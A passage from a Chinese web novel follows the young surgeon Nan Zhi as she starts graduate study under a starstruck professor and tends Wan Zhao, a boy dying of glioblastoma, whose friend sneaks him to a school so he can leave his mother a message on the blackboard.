南栀把两种药的名字写下来交给万母,康宁是没有这些药的。 同时,韦宁雨过来收账。 “我跟你们说,出版社我都联系好了,就差你们的文章。咱没法做到周刊,做月刊行吧?没法做到月刊,做半年刊可以吗?!” 监工韦宁雨对南栀几人的办事效率十分不满。 当然,主要是不满意别人,南栀交过来的文章倒是能凑一期,但如果只登南栀的文章,显得他们康宁医院没人。 阮乔哀号道:“咱们医院确实没人,就南栀吧,把她打造成头牌!让她去吸引客人!呸,病人!” 南栀说:“我这几天在忙万昭的事呢。” “你还想给他做手术?检查结果不是出来了吗,脑组织粘连得一塌糊涂,完全没有手术的条件。再说都转移了,也没必要做手术。” 南栀道:“我是在找减轻他痛苦的药,算是……临终关怀?” 办公室门口,周尔和卢思萌蹲了很久,直到南栀说出那句话。 周尔沉默地站起来,卢思萌跟着他跑出去。 “他真的要死了?”周尔伤感道,“我以为他在吹牛。” 万昭不是想赢过他,才说快死了的吗? 卢思萌道:“你别伤心了,我们还能陪陪他呀。” 周尔:“谁说我伤心了?我怎么会伤心?我才不喜欢他!” “是吗……可是我舍不得他。” 以前她和井珧、戈玲在一起,他们每个人都是治好了病才离开医院的,她从来没见过有小朋友死去。 死意味着什么,她也不是很清楚。 听人家说,人 死了,就再也见不到了。 卢思萌开始抹眼泪,“再也、再也不能偷万昭哥哥的糖块吃了……哇!” 周尔也跟着掉眼泪,“他有一抽屉冰糖。” 那冰糖是万母放的,她还让他们跟着一起吃,从来不限量。 这也太让人难过了!! 万昭已经不能下床行动。 他的病进展得很快,刚到医院时还像正常孩子,短短一周瘦了五斤。 胶质母细胞瘤没有奇迹。 南栀每次去看望万昭,他都有新的情况。 例行MRI前开始剧烈头痛,在床上疼得直打滚,止痛药也没有效果。 万昭的情况,现在留在医院,也只是吊着最后一口气。 南栀有些郁闷,她回办公室给舒映阶打去电话。 舒映阶的身体也不如从前,每一次打电话,声音都会更虚弱。 “他的情况,确实没什么办法了,胶质母细胞瘤,我知道的目前都复发了。这孩子……多关照关照吧。” * 南栀的考试是在半个月后进行的,她顺利通过考试,成为临川市医科大学的研究生,神外专家冯固的学生。 办手续又办了将近半个月,等南栀坐在冯固的课堂上,已经是一个星期后。 南栀的课表调整过,尽量避开她工作的时间,她留在临川上大学,就是希望能一边工作一边学习,这是学校给她开的绿灯。 冯固的课程,南栀都已经学过了。 她看过的杂书太多,研究生的课本也读过,按照她的计划,她应该继续学习博士阶段的内容。 南栀听过一节课,发现没什么新鲜内容,便在课堂上自己看书。 冯固:“……” 不爽她不是一天两天的了。 祁念珍来找他时,提到南栀是个很有潜力的医生。 冯固笑而不语。 哪个走后门的不是“有潜力”?信了才有鬼。 但看在祁念珍的面子上,冯固还是附和道:“是的是的,看着就不错。” 说这话时,他盯着的是南栀的小学学历。 冯固还顾及着祁念珍的面子,没在课堂上点南栀的名。 课后,他把南栀单独留下。 南栀坐都坐不安稳,“冯老师,您有事吗?我其实还要回医院,还有工作的。” 冯固给自己泡了杯茶,“不急,医院少了你,也不会不转。” 南栀只好闭嘴安静等。 冯固说:“你已经有工作经验,这是你的优势,要利用好。但是,基础知识不能落下,你的试卷是我出的,看得出来是学过的,基础知识还不错,可咱们现在要念的是研究生的书,你在课堂上看课外书,是不是不太合适?” 南栀微怔,从书包里掏出期刊,“冯老师,这是医学期刊。” 冯固瞥了眼期刊,更生气了。 这是最新版的,在首都才能买得到,他都没有! 冯固:“最新的?” 南栀:“恩。” 冯固:“最新的都有哦。” 南栀:“……您要看看吗?” 冯固立刻接过书,“谢谢。” “咳,话说回来,你不打好基础,杂志都看不明白,”冯固迫不及待地翻开,“哎呀,这几篇都不错诶……咳,我的意思是,你要先学习,先打地基,打好地基再去看论文,理解会更透彻。说句题外话,这杂志在哪买的?” 第105章 第105章叫不醒了 南栀用光全部情商,发现冯老师对期刊很感兴趣。 她连忙说:“您先看,您看完我再看。期刊是邮寄的,我在首都时都订好了,订了两年的呢。” “嚯,”冯固咋舌,“挺有钱啊,康宁医院赚这么多吗?还能去首都旅游?” 南栀说:“我工资不高。” “家里有钱?” “没什么钱,我是去学习的,有几个朋友帮忙。” 冯固没听明白,“去首都能学什么?” 南栀道:“做手术呀,我都是在儿研所学的,学了两个多月。对了,舒教授也会定时给我寄杂志,您如果想看,我可以拿来给您看。” 冯固:“好呀~!” “咳,”他又坐回去,用喝茶掩盖激动,“说正事,就是你在课堂上看杂志的这个行为,这怎么说呢,不太合适。对吧?你看……等等,你刚才说在哪里学习?” 南栀正安心听教诲呢,冯固画风突变。 南栀:“……儿研所?” 冯固:“和谁学的?!” “舒教授?” “哪个舒教授?”冯固放下茶杯,“儿研所有很多舒教授吗??” 南栀往后退了两步,“冯老师,是舒映阶教授,您别激动。” 冯固:“!!” 他能不激动?! “你这孩子,你!你让我说什么好?!”冯固把笔记本摔在南栀面前,“为什么不早说?!” 南栀小心翼翼问道:“您……不高兴吗?” 看起来和舒教授有仇。 冯固把笔记本往前一推,讨好道:“能不能让舒教授给我签个名?” 南栀:“……” 冯固难以表达他的喜悦之情。 他学医时,舒映阶还没专注小儿神外,当时提到神外,就那么几个医生,最最出名的就是舒映阶。 冯固曾有幸见过舒映阶一面,今生难以忘怀。 “我从来都没见过这么气派的场面!你知道吗?被抬进来的人脑子都快撞烂了,我差点儿吐出来,舒教授就一句话——送进手术室!帅爆了!当时我就决定,我一定要拜舒教授为师!” 南栀:“呃……是挺帅。” 老师教育学生的小会变成推崇舒教授大会。 冯固激动得语无伦次,带着南栀回忆舒映阶的人生荣誉。 说起这些,他如数家珍。 南栀:“……” 其实她真的挺着急回去上班。 冯固把笔记本塞给南栀,“一定要帮我要到签名啊!” 他说着说着又开始流泪,“我这一辈子,都想做舒教授的学生,可惜资质一般,我在舒教授面前就是小虾米,舒教授根本注意不到我。她……等等,她为什么看上你了?” 冯固擦干眼泪,“她凭啥看上你?” 现在走后门的都真的有天赋了? 南栀干笑,“是陆教授介绍的。” “陆教授?谁是陆教授,哪个陆教授?” “……陆嘉述教授。” “什么?!” 历史在三分钟之内上演。 “陆教授!我最推崇的人就是陆教授!她可真是一位优秀的外科医生!而且主动回到家乡做贡献,她……” 冯固又吧啦吧啦好几分钟。 南栀听得晕晕乎乎的。 这话术她是不是才听过一遍? 冯固比南栀还晕,他赞美完陆嘉述,才茫然道:“你到底是谁啊,陆教授为什么会推荐你?你是小学学历,祁院长来找我,我才同意收下你。” 南栀说:“您看有没有可能是因为我有一点儿点儿天赋,所以她们才推荐我。” 冯固沉默。 他想到南栀的试卷。 那份试卷按照满分百分算,南栀得了九十五分。 不是有错题,而是她的部分答案,冯固不敢肯定是不是对的。 看起来很有道理,但冯固敢肯定,都是医疗行业从未提过的内容。 没有数据支撑,不能算对。 原来现在走后门的条件也提高了。 冯固拿起烟,沉默地叼着。 南栀不喜欢闻二手烟,但看他这副样子,实在于心不忍,提醒道:“您没点烟。” “你这孩子,”冯固批评道,“吸烟对身体不好,怎么鼓励我抽烟?这我得批评你。” 南栀:“……” 冯老师的脑回路,她是跟不上了。 冯固冷静完,认真地看着南栀。 南栀做好被批评的准备,“您就直接说吧!” 冯固问:“能帮我找陆教授也要个签名吗?” 南栀:“……” 冯固给南栀找了几本绝版书让她看,还给了她一周的准备时间,说是要再考她一次。 如果南栀能考过,冯固给南栀所有考试都开绿灯,还会去找其他任课老师谈。 冯固的想法很简单,如果南栀真的有天赋,或者她已经学习过这部分知识,再让她按照课表一节节上课,那就太耽误时间了。 大课是给普通人准备的。 如果有重要的、新的内容,他宁可私下再教南栀一遍,也不能让她跟着大班学基础。 这一周的课程冯固都给南栀免了,他让她安心在医院准备考试。 回医院时,南栀门诊楼前的院子看到一只野狗。 医院附近经常有野狗,门卫大爷挺喜欢狗,不会赶走。 还有人带着生病的狗去找医生,希望医生能给狗治病。 医生和兽医同时沉默了。 医生:我学的东西没用了! 兽医:我学的东西没用?? 譬如现在,周尔抱着一只刚出生的小野狗,眼泪汪汪地看着南栀,“南瓜姐姐,你救救它吧。” 万昭坐着轮椅待在旁边。 他的状态已经很不好,最近几天开始不愿意吃东西。 不吃东西是不好的信号。 不过不管他有多疼,还总是想去外面玩儿。 周尔的手术已经做完了,恢复得不错,两周前已经出院,偶尔会来看万昭。 万昭也期盼地看着南栀。 南栀:“……我是人医。” 周尔说:“是啊,我不嫌弃的。” 南栀:“……” 万昭想说话,喉咙里却发不出声音。 南栀只能说:“好吧,我试试。” 生崽的是在医院流浪的大黄狗,只生了一个小家伙,小家伙挺幸运的。 小狗刚出生,还没睁眼。 天气仍然不算暖和,放在外面挺危险的。 南栀把小黄抱进办公室,给它用纸箱做了窝。 她把小黄清理干净,又找了一件破棉袄给小黄当辈子。 万昭和周尔站在门口等着。 盛昭云问:“你把它抱回来,它妈知道吗?” 南栀:“……” 糟了。 不等南栀去找,大黄已经闻着味儿跑进来,身后还追着一保安。 保安是祁院长履行诺言后招的,目的是提防医闹,保护医生的人身安全。 大黄嗅到儿科办公室门口,冲着万昭和周尔龇牙咧嘴。 寻常人看到这一幕,都会让孩子躲起来,以免被狗咬。 但周尔和万昭同时露出笑容,“小狗!” 周尔朝大黄扑去。 大黄:“……” 人,都有病。 南栀把大黄放进来,让它确认孩子的安危。 保安气喘吁吁道:“它一只狗,跑得比我还快??” 他都没追上它。 周尔英雄似的挡住办公室大门,“坏人,不能带它们走!” 万昭也努力转动轮椅,然而他几乎已经没有力气,只能靠别人推着。 万昭的气越喘越重,脸也越来越红。 旁人一看,好像保安在欺负人。 保安:“……,你们不抓人 家的孩子,人家根本不会往楼里跑!!” 南栀只能出面说道:“先把它们留下吧,我下班之后再给它们找去处。” 保安这才嘟嘟囔囔地离开。 核心意思只有一个——他凭什么跑不过狗?! 大黄倒是很通人性,它看到小黄好好的,没把小黄叼走,而是在纸箱旁边趴下。 天气到底还是冷的,室内比室外暖和得多。 盛昭云道:“不错,还挺听话,可惜办公室不能养狗。” “给它们找找主人吧,大黄挺温顺的。” 周尔眼泪汪汪道:“它们太可怜了,外面好冷哦,它们相依为命,它们……” 大黄开始打鼾。 周尔:“……,这什么狗,怎么还打呼噜?跟我爸一样!” 万昭一直看着大黄不语。 小黄很想念母亲,闻到熟悉的味道,跌跌撞撞地试图往外爬。 它从纸箱里翻出来,依偎着大黄躺下,很快又睡着了。 万昭张了张嘴。 周尔:“小黄长大后就成了大黄。” 万昭无声地看向周尔。 周尔理所当然道:“大黄会进狗肉馆,他们狗肉馆的狗都是在街上打的,很少有买来的,这是我爸说的。” 万昭的喘息声越来越大,开始掉眼泪。 阮乔轻轻赏了周尔一巴掌在肩上,“你可老实会儿吧。” 周尔委屈道:“是他问的。” “人家根本没说话。” “说了呀。” 阮乔不和周尔犟,再犟一会儿灵异故事都出来了。 万昭的情况,其实不适合出门。 南栀找万昭的父母谈过两次,如果万昭希望回家的话,他们可以出院。 老一辈都有落叶归根的想法,生命最后之际,通常会选择回家。 但万昭的父母不同意,他们总想着,万一还有希望呢? 当下太过痛苦,人活着,不就是为了希望? 因为万昭的特殊情况,南栀没有阻拦周尔,周尔能陪陪万昭。 万昭被推到病房,万母将他抱到床上,温柔地问道:“想吃点儿什么?” 万昭没有反应。 周尔说:“阿姨,他在担心小黄和大黄,大黄会被狗肉馆抓走。” 万母神色茫然。 周尔便绘声绘色地讲了一遍他英勇救狗的故事。 万昭发出呼噜呼噜的声音。 周尔:“好吧好吧,你也有功劳。” 呼噜声停下。 万母却眼睛发涩,拜托周尔陪陪万昭后,快步离开病房。 万家不缺钱,在最艰难的那些年,也没受过贫穷的苦。 万昭刚一出生,就带着全家人的希望,他们希望万昭能够用功读书,成为社会精英。 她对万昭的要求十分严格,还没到上幼儿园的年纪,便开始学习拼音和简单的加减法,万昭几乎没有和小朋友们出去玩的时间。 万昭很喜欢隔壁邻居家养的狗,每天回家,都要蹲在楼下和狗狗玩一会儿,过四岁生日时,他壮着胆子提出想要一只狗狗陪着。 她断然拒绝,平时他因为狗已经耽误很长时间了。 后来她才知道,万昭在楼下发现一只被遗弃的小狗,小狗病了,看起来像感冒,最开始是拉稀,然后便血。 她对狗没有特殊感情,强行把万昭拎回家。 万昭站在窗户前守了一整晚,就盯着找到小狗的地方,第二天下楼,发现它已经死了。 天气冷,还有各种传染病,小狗很难活下来。 现在好了,万昭再也不会说想养一只狗了。 * 南栀的考试很顺利,冯固绞尽脑汁给她出了一套题,涉及方方面面。 他还特意抽出时间来看南栀做手术,前些日子去一院的效应来了,一院那边又推荐过来两个患儿。 冯固端着老师的架子,说是来“视察”。 阮乔和魏联小声议论,“冯老师来考察南栀了。” 南栀让冯固一起进手术室,冯固看到许多先进设备。 三维立体定位,电视屏幕技术,可直视肿瘤安全切除。 止血的手术刀、超高波刀、氩气刀。 冯固任职的医院设备落后,即便开刀做手术,也不完美。 “你听说过微创设备吗?介入?以后的手术,肯定要走上这条路,尤其是心血管方面,以后的技术只会越来越牛,舒老师一定都很擅长吧?陆老师呢,陆老师怎么样?” 南栀便给冯固讲在儿研所看到的设备。 阮乔又和魏联小声议论,“南老师在给冯固讲解。” 魏联:“倒反天罡。” 他们儿科最擅长倒反天罡。 阮乔:“你不是儿科的人?” 魏联:“……” 以前,他是个好人,直到来到康宁医院加入儿科。 冯固说:“我发现一个问题,你提到的儿研所的病历,我完全都不知道。你应该知道,我很喜欢收集医学方面的期刊,能买到的期刊我一定会买。” 南栀知道,她十来本杂志还在冯固办公桌上放着呢。 也没说什么时候还给她,呵。 “所以,现在消息太不灵通了,即便有丰富的经验,也没办法共享。”冯固给南栀打气,“你去过儿研所,应该承担起责任!把大家揉在一起,凝聚力量!” 这话术很耳熟。 南栀说:“老师,我们忽悠医生的时候都是这么说的,你就别骗我了。” 画饼嘛,都是他们玩剩下的。 “怎么是忽悠呢?我是在给你们提意见!”冯固笑眯眯道,“目光要放长远,不要考虑个人该如何发展,而是考虑整个行业该如何发展。” 南栀:嚯。 这饼比韦宁雨画得都大。 “我刚才看了,你做的是切除肿瘤的手术,其实小儿实体瘤是缺乏统一的治疗方案的,只有大城市才有肿瘤专业,咱们小地方虽然是把病治了,可是经验没法汇总,多耽误事。而且小儿肿瘤是不一样的,多是胚胎性瘤,对化疗敏感,有的时候经过术前化疗准备,肿瘤还有可能缩小,原本不能做的手术就能做了,小儿术后长期无瘤的生存率是高于成人的。” 阮乔和魏联越听越蒙,“咱们要做行业的领头羊了?” 魏联说:“应该是小儿肿瘤的领头羊。” 南栀诚恳道:“你想画什么就……哦不,您想说什么就直接说吧。” “建立小儿肿瘤组织!”冯固异常兴奋,“研究小儿肿瘤,定期开会交流经验,创办内部期刊,使小儿肿瘤的治疗尽早标准化!” 南栀曾经的理想很简单,只是能上台做手术。 后来她发现,她的天赋好像比别人高那么一点,于是上台做手术就变成了上台做最好的手术,别人不能做的复杂手术她能做,别人成功率低的手术在她手里成功率会升高。 从前她完全是站在个人发展角度考虑的,即便她会定期总结在后世学到的内容,也只是简单地希望医学能更快地进步。 她还从未站在整个行业思考问题。 南栀真心实意道:“谢谢您的提醒,我明白了。” “这就对了!”冯固说,“我帮了你这么大的忙,你什么时候给我要舒教授和陆教授的签名?” 南栀:“……” 阮乔:“原来这才是他的真实目的。” 魏联:“心机颇深。” 手术结束后,南栀又抽空去看了一眼万昭。 这两日万昭头痛缓解,正在经历呼吸衰竭。 在南栀看来,这是生命在走倒计时。 现在的万昭躺在床上,呼吸都很困难,而南栀能做的,只有尽量减轻他的痛苦。 她学得再多,也没法留住他的性命。 南栀绕到心外办公室,郁闷地坐下。 陆随和箫珵都不在。 消化科的医生进来找人,一眼就看到南栀。 现在的南栀可是越来越出名了,从儿研所学习回来,连院长就给人家开绿灯。 他们是抱着看笑话的心态看小儿神外这件事的,没想到人家还真能慢慢做上手术,而且目前为止还没听说过失败案例。 最重要的是,慕名而来的患者越来越多,其他科室的患者竟然也多了起来。 当普通人对 儿科和心外科有好感时,对医院的信任也会更多,需要看其他科室时,就会选择来康宁医院。 目前医院众人的态度分两种。 躺平派不想忙起来,他们怀念曾经的清闲日子。 奋斗派兴奋异常,干劲十足,更有甚者还想往儿科调,说什么儿科将来也是要开小儿消化内科、小儿肝胆、小儿…… 气得各科室主任对儿科众人严防死守,就怕他们跑过来拉人。 消化科医生看到南栀后眉开眼笑,他没能分到更好的医院,落到康宁,没想到康宁争气,自己往上爬了。 这就相当于考了二本学校,毕业前学校自己努力升了一本,毕业证上还只写本科毕业。 “南医生怎么跑心外来啦?” 闫民怀抬起头看了一圈,“没外人啊。” 消化科医生:“?,这不是南医生吗?” 南栀抬头和他打招呼,“你好。” 虽然她并不认识人家,但最近主动和她打招呼的人很多。 闫民怀振振有词,“这就是你的错了,南医生是心外的编外人员,也是心外的人,她在心外奇怪吗?” 南栀默默看向闫民怀。 现在的儿科和心外科相比,哪个科室更厉害? 闫民怀:“……,我们心外是儿科的编外人员,是我们跑到儿科的办公室待一会儿,明白吗?” 消化科医生:“……” 心外都被欺负成什么样了? 这可是医院从前的王牌科室! 他对南栀恭恭敬敬道:“南医生,对我们消化科感兴趣的话直接说哈,绿灯。” 南栀:“……” 她在他们眼中好像是什么都吞并的洪水猛兽。 十分钟后陆随和箫珵才回来。 箫珵看到南栀,第一时间拿出米尺。 南栀:“哥?” 箫珵说:“我看看你坐的位置是离陆随的工位更近,还是离我的工位更近。” 南栀:“……” 陆随道:“我不和你争,她是来找你的。” 箫珵期待道:“是吗?” 南栀:“……,当然是啦!” 她眼睛眨巴好几下,说谎时眼睛会痒的哦。 箫珵:“说谎!!” 箫珵痛心疾首,“我就知道,你眼里已经没我这个哥哥了!” 闫民怀无语道:“萧哥,你总和陆哥争什么?人家俩才订婚了。” 陆随挺胸抬头。 “你懂什么,”箫珵面无表情道,“他俩只是权宜之计,没有爱情。南栀会喜欢他这种人?不会。” 陆随:“……” 南栀应该还是喜欢他的吧? 陆随努力寻找南栀喜欢他的证据。 比如,南栀会在花钱时第一个想到他,努力花他的钱。 这难道不是喜欢? 她如果不喜欢他,会花他的钱? 陆随对自己的推理很满意。 南栀试图用装可怜挽回箫珵的心,“我最近真的特别惨。” 箫珵:“特别惨无人道。” 南栀:“……” 陆随问:“为了万昭。” 南栀惊讶道:“你怎么知道?” “过年前有个孩子脑干出血去世了,我和箫珵都在,现在也都还记得。”陆随道,“严格意义上来说,万昭应该是你治疗过的第一个无法治愈的孩子?” 南栀闷闷不乐:“除了雯雯和她的朋友,这还是第一个。在儿研所时其实遇到过很多复杂的病例,手术虽然都是成功的,但其实也只是延长生存期而已,那会儿只看到他们越来越健康,根本没想那么多。” 而万昭却在她眼前走向死亡。 万昭的死亡进程走得很快。 刚到医院时还能独自站立,看着像感冒发烧没力气的小朋友。 随后便出现头痛、喷射性呕吐的症状。 几天后,他无法起身行走,只能躺在病床上。 未来几天,他的视力、听力都会减弱。 他会嗜睡,最终昏迷不醒。 他会呼吸困难,可能出现潮式呼吸。 大小便失禁、循环系统衰退。 外界的声音无法唤醒他,他会在昏迷中停止心跳。 “得癌症的病人知道自己寿命将近,是什么感受?会害怕吗?” 陆随拉起南栀的手,她手心冰冷,好像刚从室外回来,实际上她已经在办公室待了很久。 箫珵拼命咳嗽。 还是他亲妹妹关心他,“你感冒了?去药房拿点儿药吧。” 箫珵盯着陆随的手,眼睛都快喷火。 闫民怀果断把箫珵拽出办公室。 他萧哥真奇怪,总以南栀家长的身份自居。 说是南栀的远房表哥,谁信? 在心外所有人眼中,箫珵是暗恋南栀却不得的形象。 南栀:不忍伤害箫珵的好人。 陆随:心胸宽广。 箫珵被拖走,办公室安静多了,陆随说道:“我爸妈走的时候,我不在现场,其实我还挺希望能陪他们走最后一段路。万昭的父母都在身边,那个调皮捣蛋的小鬼也经常去看他,万昭和他的父母,已经做到最好了。” 南栀只是叹气。 她明白做医生总要经历这么一遭,只是还是忍不住埋怨,为什么会有医生无法治疗的疾病。 学医,又让她束手无策,这滋味实在不好受。 陆随轻声道:“我陪你去看看万昭。” 两人离开心外办公室,去儿科的病房。 走廊,闫民怀捂着箫珵的嘴,一直等他们的背影消失,才放开箫珵。 “你没看见吗?!”箫珵激动道,“他敢拉南栀的手!” 闫民怀露出神秘微笑,“我赌陆哥还敢亲南栀。” “他敢!!” 让他配合南栀走出阴影,他还真动上手了?! * 南栀在儿科病房没找到万昭。 她以为是周尔带万昭出去玩了,正想去楼下找一找,却看到万母神色慌张地跑过来,“南医生!你来得正好!你看到小昭了吗?” “我刚过来,他没在病房。” “我已经找了他一个小时了!”万母焦急道,“刚才周尔过来陪他玩,我在考虑收养大黄和小黄,没顾得上他们,结果人就不见了。” 最开始她以为两个孩子在楼下玩儿,康宁医院的儿科住院部好像有魔力,住在这里的孩子们格外好动。 万昭上一次开刀时也住院,那边的孩子们可不这样。 等到她切了水果想让他们休息休息,却发现已经找不到人。 南栀:“去楼下找过了吗?” “能去的地方都找了,没有,”万母说,“还差卫生间没去,我刚才想进去,但是……” 她看见陆随。 陆随:“……我去看。” 卫生间同样没人。 万昭现在的状态,万母实在放心不下,她在崩溃的边缘,“他们会去哪儿?是小昭的主意,还是周尔的主意?” “先别着急,”南栀说,“不管怎么说,小昭都得坐轮椅,又是孩子推着他,挺显眼,我先联系其他医生问问。” 陆随道:“我去,你们想想万昭可能的去处。” 万昭家不在临川。 他们会来临川,只是抓住最后一丝希望。 如果万昭的身体允许,万母会把他带到儿研所。 就算是在医院里离开,她也不想放弃。 万昭对临川的一切都不熟悉,他能去哪? “他们如果真的离开医院,只会是万昭的愿望,周尔是调皮,但不会如此没轻重。”南栀分析道,“但万昭只来过康宁医院,没去过其他地方,应该是万昭提出想去某个类型的地方,周尔根据他对临川市的了解,带小昭去的。” 万母茫然道:“还是要想小昭会去哪儿?” 南栀点头。 万母说:“他没什么想去的地方,以前最多要求下楼去玩弹珠、踢足球。” 平时她去百货大楼,万昭也想去,她怕耽误万昭念书,总是让他留在家里,后来万昭就不再提百货大楼的事。 “会不会是公园,或者百货大楼?他以前很想去这些地方。” 南栀说:“得找周尔的妈妈问一问,她比较了解周尔。” 联系周尔的家 长不太容易,他们没留能找到他们的座机号。 幸好周尔家不远,万母和周母聊天时,后者曾提到家庭住址,万母还能想起来部分。 陆随带来消息,门卫曾看到一个小男孩推着轮椅离开医院,当时他还以为两人是兄弟。 南栀和陆随分别找主任请了假,一起去找周尔和万昭。 万母认准了万昭会去百货大楼,和他们兵分两路,直奔百货大楼去。 南栀本以为找到周母不太容易,没想到他们到附近时,刚好看到周母和邻居们聊天。 南栀加快脚步走过去。 周母脸色骤变,“周尔……去砸医院了?!” 她搬起小板凳想跑。 他们家周尔,就算把医院的楼顶掀了,那也不奇怪! 她就知道,她早晚要赔上一笔巨款! “你别跑!”南栀追过去,“等等!” 两人像是老鹰捉小鸡。 周母毕竟不太跑步,肯定是跑不过南栀的。 南栀抓住她的板凳,“姐,周尔在吗?” 周母拼死抵抗,“这孩子我不要!我赔不起!” “赔?”南栀愣了一下,连忙解释,“周尔没破坏医院的东西,我们不是来要赔偿的。” “不是?” 她是不太相信儿子。 南栀解释道:“我们是想来问问周尔经常去的地方,我们要找他。” 哦,原来只是来找人的。 周母稍微放松些,“你们找他做什么?手术没做好?” 如果生病,再治病就是了,她就怕周尔那个不听话的在医院闯祸。 南栀说:“他把万昭带走了,小昭状态不好,随时可能……我们得把他带回去。” 周母两眼一黑。 还不如是周尔犯病了!! 周母报了几个周尔常去的公园,怀疑道:“周尔能带小昭去公园?小昭很喜欢玩儿吗?” “说是从前玩的时间不长,小昭的妈妈怀疑他是想弥补过去。” “真是怪事,他们可以直接和家长说,都到这一步了,还能不同意?如果周尔那家伙快死了,他就算是要星星,我也得去给他摘啊。” 可惜周尔活得好好的,还能去医院“拐人”。 周母一想到此,就恨得牙痒痒。 南栀说:“我们也没有头绪。” 周母忽然想到什么,“会不会是去学校了?” “什么学校?” “周尔和我说的,他问小昭有什么愿望,小昭说想去上学,周尔说小昭疯了,”周母感慨万千,“我家这死孩子什么时候能想去上学?看到人家想上学,还说人家疯了,我看他才是疯了!” 南栀没听小昭提过学校。 小昭不是在临川市上的学,为什么要去学校? “该不会是去坐车回家了吧?”陆随问,“他们兜里有钱吗?” 周母自豪道:“我从来不乱给他钱。” 不等南栀说什么,她紧接着又惆怅起来,“但这孩子会偷钱。” 南栀:“……” “咳,先去周尔的学校看看,如果没有,直接去火车站或者汽车站。小昭必须坐轮椅,会有工作人员注意到的。” 陆随说:“得提前和车站打招呼,你们先去学校吧,我联系车站。” 周尔念小学,一般人家都会选择家附近的小学。 周母带着南栀往学校赶,路上还顺便借了一把扫帚,“别让我看见他,让我找到他,我非得弄死他!” “破坏设备都满足不了他了,他还学会拐人了?!” “小昭的病能耽误吗?这死孩子!!” 棍棒底下出孝子,南栀相信,周尔马上就会变成一个孝顺的孩子。 周尔念的学校规模不大,只有一栋两层高的楼。 每个年级只有一个班级。 今天是假期,学校里没人,只有两个值班老师,门卫大爷都不在,学校大门大敞四开。 周母道:“他的教室在这边!” 教学楼静悄悄的,不像有人的样子。 周母的吼声在教学楼里回荡。 南栀快步往前走。 突然,她听到轮椅转动的声音,这声音很快停下,周尔从一间教室哭着跑出来,“妈,小昭他睁不开眼了,他是不是不行了?!” 第106章 第106章进度 陆随把万昭送回医院。 好在万昭只是精力不够睡着了,他睡得很沉,对外界刺激反应很小,但还在平稳呼吸。 这其实不是好兆头,小昭睡觉的时间会越来越长,直到死亡。 周尔当然是深入了解了扫帚的构造,这扫帚还真结实,双方了解过后,扫帚只掉了几根枝子。 南栀留下来等周尔。 主要是看他了解过扫帚后,需不需要去医院处理伤口。 周母提着周尔的耳朵想把他带回家继续教育,周尔扒着门框不肯走,“我不回家!我要留下来等阿姨!让阿姨过来!” “你还有脸叫阿姨?”周母顺手又送给他一扫帚,“我的脸都被你丢尽了!人家小昭是什么情况,你都敢带着他往外跑?!他是病人!” 周尔号啕大哭,他的裤子都快被亲妈抽烂了。 亲妈平时最小气,裤子抽坏了还得做一条新的,不划算。 她想教训周尔,都是先扒了他的裤子,再按到床上打。 一不小心打到床,还得心疼床一会儿。 现在她直接开揍,可见是真生气。 周尔心里怕得要死,却死活不肯松手,“是小昭要来的,我是他兄弟,我要陪着他!哇!疼!” 南栀尝试阻拦,“姐,我们听周尔说几句吧?” 这孩子直到现在都没能说出一句完整的话来。 周母气喘吁吁地停下,“说!我看你能放什么屁!” 周尔擦干眼泪堵在门口,“你把阿姨叫过来,我就告诉你。” “你这死小子!!” 南栀及时把她拦住。 “周尔,为什么一定要阿姨过来,你办事得有前因后果,”南栀说,“人长嘴是为了把话说清楚的。” 周尔老老实实说道:“不是吧,我长嘴是为了吃饭的。” 南栀:“……” 周尔补充,“吃冰糖,冰糖最好吃。” 南栀:“……” 眼瞅着又要开始新一轮大战,南栀紧急开口问道:“如果我把阿姨叫过来,你就能解释清楚?!” 周尔点头。 南栀说:“好,我们一起去给医院打电话。” “不行,”周尔拒绝,“我得守在这里,我怕别人过来。” 周母扬起扫帚,“你怕不怕死?!” 周尔吓得差点儿尿裤子,他边哭边哆嗦, 话都说不清楚,但就是不肯走,“唔不管,唔不抖!” 南栀把周母拉走,给医院打电话。 万昭刚回医院,万母正照顾他,失而复得,她只想时时刻刻陪在他身边,不想走。 周尔一听,哭得更大声了,“一定要来,不来我不走!” 南栀只能又给万母打电话。 周尔毕竟陪了万昭很久,万母相信,周尔是真的能听懂小昭的“话”。 她也不想让周尔再挨打,答应过来。 陆随开车带她到学校。 万母面容憔悴,但看到周尔还是挤出笑容,“周尔啊,我知道是小昭让你带他过来的,这事不怪你,阿姨谢谢你完成小昭的愿望,我和你妈妈好好说说,给你买蛋糕吃好不好?” 周尔却拉住万母,一瘸一拐地往教室里走。 教室简陋,长凳长桌,前后各有一块黑板。 周尔把万母拉到讲台,黑板上有几个歪歪扭扭的符号。 周尔说:“我问小昭有什么愿望,小昭说想上学,但是他已经没办法上学了。” 周母偷偷翻白眼。 这不是往人家心上扎刀吗? 这蠢儿子真是她生的? 周尔:“不过他还是想来学校,他说他会画板报,画得可好了,他要画画给你。” 万母愣住,“……给我?” “对啊,”周尔道,“他说妈妈对他很好,就像大黄对小黄,所以他想画画送给你,但他只擅长在黑板上画画。” 万母看向黑板上的字符。 周尔情绪低落,“我想着,如果背着小昭,他就能画画了,但是他力气太小了,拿不了粉笔,就只写了几个字。” 周母忍不住说:“这是字?” 虽然她不想泼小昭的冷水,但这更像是几条曲线,还是不流畅的曲线。 万母走到黑板前,轻轻触摸黑板上的符号。 这是小昭留给她的礼物。 陆随低声问道:“应该是写的字?” ICU的病人意识不清醒、无法说话,想给家人留下话时,通常都会写得乱七八糟无法辨认,小昭是相似的状态。 南栀说:“学汉语言文学的可能可以认出几个字。” 她在脑中搜索相关内容。 高中时闲得无聊,好像还真看过类似的内容。 南栀走到黑板前拿起粉笔,在中间写写画画。 她一边观察一边写,擦去了十几次,最终留下几个字。 “谢谢妈妈。” 周尔恍然大悟,“原来他写的是这个呀!” 周母眼睛酸酸的。 她有儿子,知道这是什么感觉。 周尔泌尿系统出问题时,周母也觉得天塌了,后来看到小昭的可怜样,又觉得只要能活着,就没什么大不了的。 万母走到那四个字前,良久没有开口。 * 翌日,万昭的父母去给万昭办出院手续。 没必要待在医院了,他们都知道,没什么希望了。 南栀赶过来时,万母正在收拾行李,“怎么突然要出院?” “让小昭回家看看,”万母很平静,她把小昭的东西认认真真收起来,这些全部都要带走,“孩子其实挺想家的,一直和我说要回家。” 住院要查房,还很乱,哪有家里舒服。 南栀道:“可是你不是……” 万母笑道:“我也该接受现实了,其实他刚确诊时,我就知道早晚会有这么一天,可我太自私,总想把他留在我身边。现在想想,让他舒服地走才是我该做的事情。他很想家,想姥姥奶奶,她们年纪大了,身体都不好,没法过来。” 